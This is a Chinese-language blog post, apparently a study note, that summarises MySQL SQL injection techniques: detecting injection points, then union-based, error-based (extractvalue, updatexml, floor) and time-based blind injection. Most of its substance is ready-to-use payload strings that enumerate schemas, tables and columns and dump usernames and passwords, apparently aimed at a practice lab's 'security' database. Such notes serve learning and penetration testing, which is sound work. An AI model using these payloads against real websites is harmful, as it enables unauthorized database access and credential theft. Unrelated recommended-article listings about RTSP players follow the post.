前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >2022年最详细的SQL注入总结笔记

2022年最详细的SQL注入总结笔记

作者头像
纯情
发布于 2023-04-27 02:55:53
发布于 2023-04-27 02:55:53
1.2K00
代码可运行
举报
文章被收录于专栏:纯情博客纯情博客
运行总次数:0
代码可运行

一、sql注入概述

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息,在实战和测试中,难免会遇见到一些sql注入,下面,我将总结一些常用sql注入中的不同姿势。

二、寻找sql注入

测试注入点:

1.在参数后面添加单引号或双引号,查看返回包,如果报错或者长度变化,可能存在Sql注入

注入点判断:id=1'(常见)id=1" id=1') id=1')) id=1") id=1"))

2.通过构造get、post、cookie请求再相应的http头信息等查找敏感喜喜

3.通过构造一些语句,检测服务器中响应的异常

三、sql注入的类型

附上自己整理的思维导图学习

常见的数据库类型,分为关系型数据库和非关系型数据库

关系型数据库有 Oracle、DB2、PostgreSQL、Microsoft SQL Server、Microsoft Access 和 MySQL等。

非关系型数据库有 Neo4j、MongoDBRedis、Memcached、MemcacheDB 和 HBase

Mysql注入

普通注入 数字型:

测试步骤:

(1) 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3';

对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;

对应的sql:select * from table where id=3' and 1=1 语句执行正常,与原始页面没有差异;

(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;

字符型

测试步骤:

(1) 加单引号:select * from table where name='admin'';

由于加单引号后变成三个单引号,则无法执行,程序会报错;

(2) 加 ' and 1=1 此时sql 语句为:select * from table where name='admin' and 1=1' ,也无法进行注入,还需要通过注释符号将其绕过;

因此,构造语句为:select * from table where name ='admin' and 1=--' 可成功执行返回结果正确;

(3) 加and 1=2— 此时sql语句为:select * from table where name='admin' and 1=2–'则会报错;

如果满足以上三点,可以判断该url为字符型注入。

判断列数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=1' order by 4# 报错
?id=1' order by 3# 没有报错,说明存在3

爆出数据库:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=-1' union select 1,database(),3--+
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#

爆出数据表:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'#

爆出字段:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#

爆出数据值:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+

拓展一些其他函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统

多条数据显示函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
concat()、group_concat()、concat_ws()

报错注入

extractvalue函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=1' and extractvalue(1, concat(0x7e,(select @@version),0x7e))--+ (爆出版本号)
?id=1' and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))--+ (爆出操作系统)
?id=1' and extractvalue(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e))--+ (爆数据库)
?id=1' and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))--+ (爆数据表)
?id=1' and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))--+(爆字段)
?id=1' and extractvalue(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e))--+ (爆数据)

updatexml函数:

细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)--+ (爆数据库)
?id=1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+ (爆数据表)
?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)--+ (爆字段)
?id=1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)--+

exp函数溢出错误:

在mysql>5.5.53时,则不能返回查询结果

floor函数:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=1' union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a--+
?id=1' union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆数据库,不断改变limit得到其他)
?id=1' union select 1,count(),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出users表)
?id=1' union select 1,count(),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出password字段)
?id=1' union select 1,count(),concat(0x7e,(select password from security.users limit 2,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出数值)

延时注入

判断注入点:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //无休眠
?id=1') and sleep(5)--+//无休眠
?id=1") and sleep(5)--+//无休眠
?id=1' and if(length(database())=8,sleep(10),1)--+

爆出数据库:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+

通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以一次类推了,就不一

substr(database(),N,1)可以通过改变N的值来判断数据的地几个字符为什么

爆出数据表:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)-- -

解释:security的第一张表的第一个字符ascii为101,为字符e

limit 0,1),N,1还是改变N的的得出第二个字符

再判断字符(ascii判断)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+

(left语句判断)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?id=1' and if(left(database(),1)='s',sleep(10),1) --+
?id=1' and if(left(database(),2)='sa',sleep(10),1) --+

Substring函数判断

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+

附上一篇文档(盲注脚本):https://blog.csdn.net/weixin_41598660/article/details/105162513

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-08-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
RTSP播放器技术选型指南
2015年,在大家精力放在点播播放的时候,大牛直播SDK已开始布局RTMP、RTSP的低延迟直播技术。通过全自研技术框架,大牛直播SDK的RTSP播放器以功能齐全、性能优异、超低延迟、低代码低集成复杂度,在行业内享有较高的评价,服务了数百家B端用户。
音视频牛哥
2024/09/06
4460
RTSP播放器技术选型指南
如何选择适合行业场景的RTSP播放器
选择合适的RTSP播放器时,需要考虑多个方面以确保其能够满足您的具体需求。以下是一些关键的选择标准和建议:
音视频牛哥
2024/09/17
1970
如何选择适合行业场景的RTSP播放器
跨平台RTSP播放器之VLC Media Player还是SmartPlayer?
​好多开发者纠结,RTSP流播放,到底是用开源的VLC Media Player还是大牛直播SDK的SmartPlayer?针对此,本文做个简单的技术探讨,方便开发者根据实际需要,做适合自己场景的选择:
音视频牛哥
2024/09/05
7760
跨平台RTSP播放器之VLC Media Player还是SmartPlayer?
RTSP播放器技术探究:架构、挑战与落地实践
RTSP 是一种控制协议,用于启动、暂停、停止媒体流。它本身不传输数据,真正的音视频内容往往通过 RTP 来承载。
音视频牛哥
2025/05/16
960
Linux平台x86_64|aarch64架构RTSP|RTMP直播播放器开发实践
Linux(含x86_64架构和aarch64架构)的RTSP|RTMP直播播放SDK,是大牛直播SDK发布的一款用于Linux平台的视频播放器开发库,支持多种视频流协议,旨在提供低延时的流媒体播放和高质量的渲染。通过集成此SDK,开发者可以方便地在应用中实现视频播放功能。
音视频牛哥
2025/03/28
1050
6款真正好用的播放器推荐
GOM player 是一款本身装有视频播放所需的解码,及占用系统资源少,并且能以最优秀的画质来观看多种格式影片的播放程序。
音视频牛哥
2021/03/04
5.8K0
RTSP|RTMP播放器如何实时调节播放音量?
好多开发者在播放RTSP或RTMP流的时候,特别是多路播放的时候,希望能试试调节单个视频画面的声音(静音或放大缩小音量),常见的实时调节播放音量可以通过以下方式实现:
音视频牛哥
2024/09/29
2910
RTSP|RTMP播放器如何实时调节播放音量?
如何设计开发RTSP直播播放器?
我们在对接RTSP直播播放器相关技术诉求的时候,好多开发者,除了选用成熟的RTSP播放器外,还想知其然知其所以然,对RTSP播放器的整体开发有个基础的了解,方便方案之作和技术延伸。本文抛砖引玉,做个大概的介绍。
音视频牛哥
2024/10/12
3280
深度解析大牛直播SDK在RTSP播放器中的集成与优化实践
RTSP(Real Time Streaming Protocol)作为实时流媒体传输协议,广泛应用于安防监控、直播推流等场景。本文基于大牛直播SDK(SmartPlayer SDK),结合C# WinForm实现了一个功能完备的RTSP播放器,涵盖直播播放、录像、全屏切换、硬件加速等核心功能。我们将从技术实现、性能优化、问题排查等维度,深入探讨SDK集成过程中的关键问题与解决方案。
音视频牛哥
2025/02/22
2480
深度解析大牛直播SDK在RTSP播放器中的集成与优化实践
Android平台播放RTSP流的几种方案探究(VLC VS ExoPlayer VS SmartPlayer)
好多开发者需要遴选Android平台RTSP直播播放器的时候,不知道如何选的好,本文针对常用的方案,做个大概的说明:
音视频牛哥
2024/09/11
1.9K0
Android平台播放RTSP流的几种方案探究(VLC VS ExoPlayer VS SmartPlayer)
RTSP摄像头、播放器为什么需要支持H.265?
好多开发者在做选RTSP播放器的时候,经常问我们的问题是,用H.264好还是H.265好?本文我们就H.264 和 H.265的主要区别和适用场景,做个大概的交流。
音视频牛哥
2024/11/25
2770
RTSP摄像头、播放器为什么需要支持H.265?
SmartRtmpPlayer播放器怎么样?
“大牛直播SDK”始于2015年,致力于传统行业极致体验的音视频直播技术解决方案,产品涵盖跨平台的实时RTMP推流、RTMP/RTSP直播播放(支持RTSP|RTMP H.265,Enhanced RTMP H.265)、GB28181设备接入、推送端播放端实时录像、多路流媒体转发(RTSP转RTMP,RTMP转RTMP,RTSP|RTMP转GB28181)、音视频导播、动态视频合成、音频混音、一对一互动直播、内置轻量级RTSP服务、RTSP网关服务等,比快更快,业界真正稳定可靠的超低延迟直播SDK(毫秒级延迟,低延迟模式下150~300ms)。
音视频牛哥
2024/09/13
2910
4款知名播放器比较:ijkPlayer、VLC、SmartPlayer、ExoPlayer
ijkPlayer是BiliBili公司维护的一个开源工程,基于ffmpeg开发的一个播放器软件,支持Android和iOS平台,整个ijkplayer就是以ffplay为基础,如果只是使用它进行播放,集成也较为简单,使用也和MediaPlayer差不多,但是要定制化需求,就有一定的门槛高度。支持软硬编解码,支持倍速播放,可以定制化集成需要的功能,集成占用体积也很小,更详细的解释参看下面官方介绍:
音视频牛哥
2021/03/18
8.9K0
如何对RTSP播放器做功能和性能评估
好多开发者在做产品竞品分析的时候,不知道如何界定一个RTSP播放器,大牛直播SDK认为,一个RTSP播放器,不是说有几个类似于Open/Close接口就够了,好的RTSP播放器需要具备以下功能和性能属性:
音视频牛哥
2019/09/12
1.6K0
如何对RTSP播放器做功能和性能评估
rtsp和onvif的区别和联系
好多开发者,RTSP和onvif,总是搞不清楚区别和相互关系,本文针对此做个简单的技术普及,RTSP(Real-Time Streaming Protocol)和ONVIF(Open Network Video Interface Forum)在视频监控系统和技术标准方面各有其独特的作用和区别,同时它们之间也存在一定的联系。以下是对RTSP和ONVIF的区别和联系的详细分析:
音视频牛哥
2024/09/04
1.4K0
rtsp和onvif的区别和联系
RTMP播放器延迟最低可以做到多少?
RTMP播放器的延迟可以受到多种因素的影响,包括网络状况、推流设置、播放器配置以及CDN分发等。因此,RTMP播放器的延迟并不是一个固定的数值,而是可以在一定范围内变化的。
音视频牛哥
2024/09/08
4620
RTMP播放器延迟最低可以做到多少?
Android平台RTSP|RTMP播放器高效率如何回调YUV或RGB数据?
我们在做Android平台RTSP、RTMP播放器的时候,经常遇到这样的技术诉求,开发者希望拿到播放器解码后的YUV或RGB数据,投递给视觉算法,做AI分析,本文以ffmpeg和大牛直播SDK的SmartPlayer为例,介绍下相关的技术实现。
音视频牛哥
2024/10/30
1980
Android平台RTSP|RTMP播放器高效率如何回调YUV或RGB数据?
Unity实现高性能多实例RTSP|RTMP播放器技术实践
废话不多说,先上实际测试时延,左侧用大牛直播SDK的Windows平台RTMP直播推送模块,采集毫秒计数器窗体,推RTMP到nginx服务器,右侧unity的播放器,播放RTMP流,同时四路播放,延迟如下:
音视频牛哥
2025/02/16
1060
Unity实现高性能多实例RTSP|RTMP播放器技术实践
国产化直播系统的搭建
随着云计算、大数据等新一代信息技术的崛起,很快就迈入数字化时代,操作系统是数字经济平稳发展的关键。对于各行各业甚至是国家而言,信息安全是重中之重,在一些关键、保密的领域中使用的国外系统,会存在着泄密的风险,所以发展自主可控的国产操作系统是非常有必要的。经过这些年信息化的不断发展,以及国家对信息安全重视,统信的UOS、银河麒麟等国产化系统已开始进入涉密单位,政企单位常态化使用。单位业务系统,及办公系统也逐步的往国产化系统及硬件平台迁移。
用户10291711
2023/01/03
1.5K0
国产化直播系统的搭建
wpf下如何实现超低延迟的RTMP或RTSP播放
我们在做Windows平台RTMP和RTSP播放模块对接的时候,有开发者需要在wpf下调用,如果要在wpf下使用,只需要参考C#的对接demo即可,唯一不同的是,视频流数据显示的话,要么通过控件模式,要么可以让RTMP、RTSP播放模块回调rgb数据上来,在wpf直接绘制即可。
音视频牛哥
2024/04/10
5400
wpf下如何实现超低延迟的RTMP或RTSP播放
推荐阅读
相关推荐
RTSP播放器技术选型指南
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验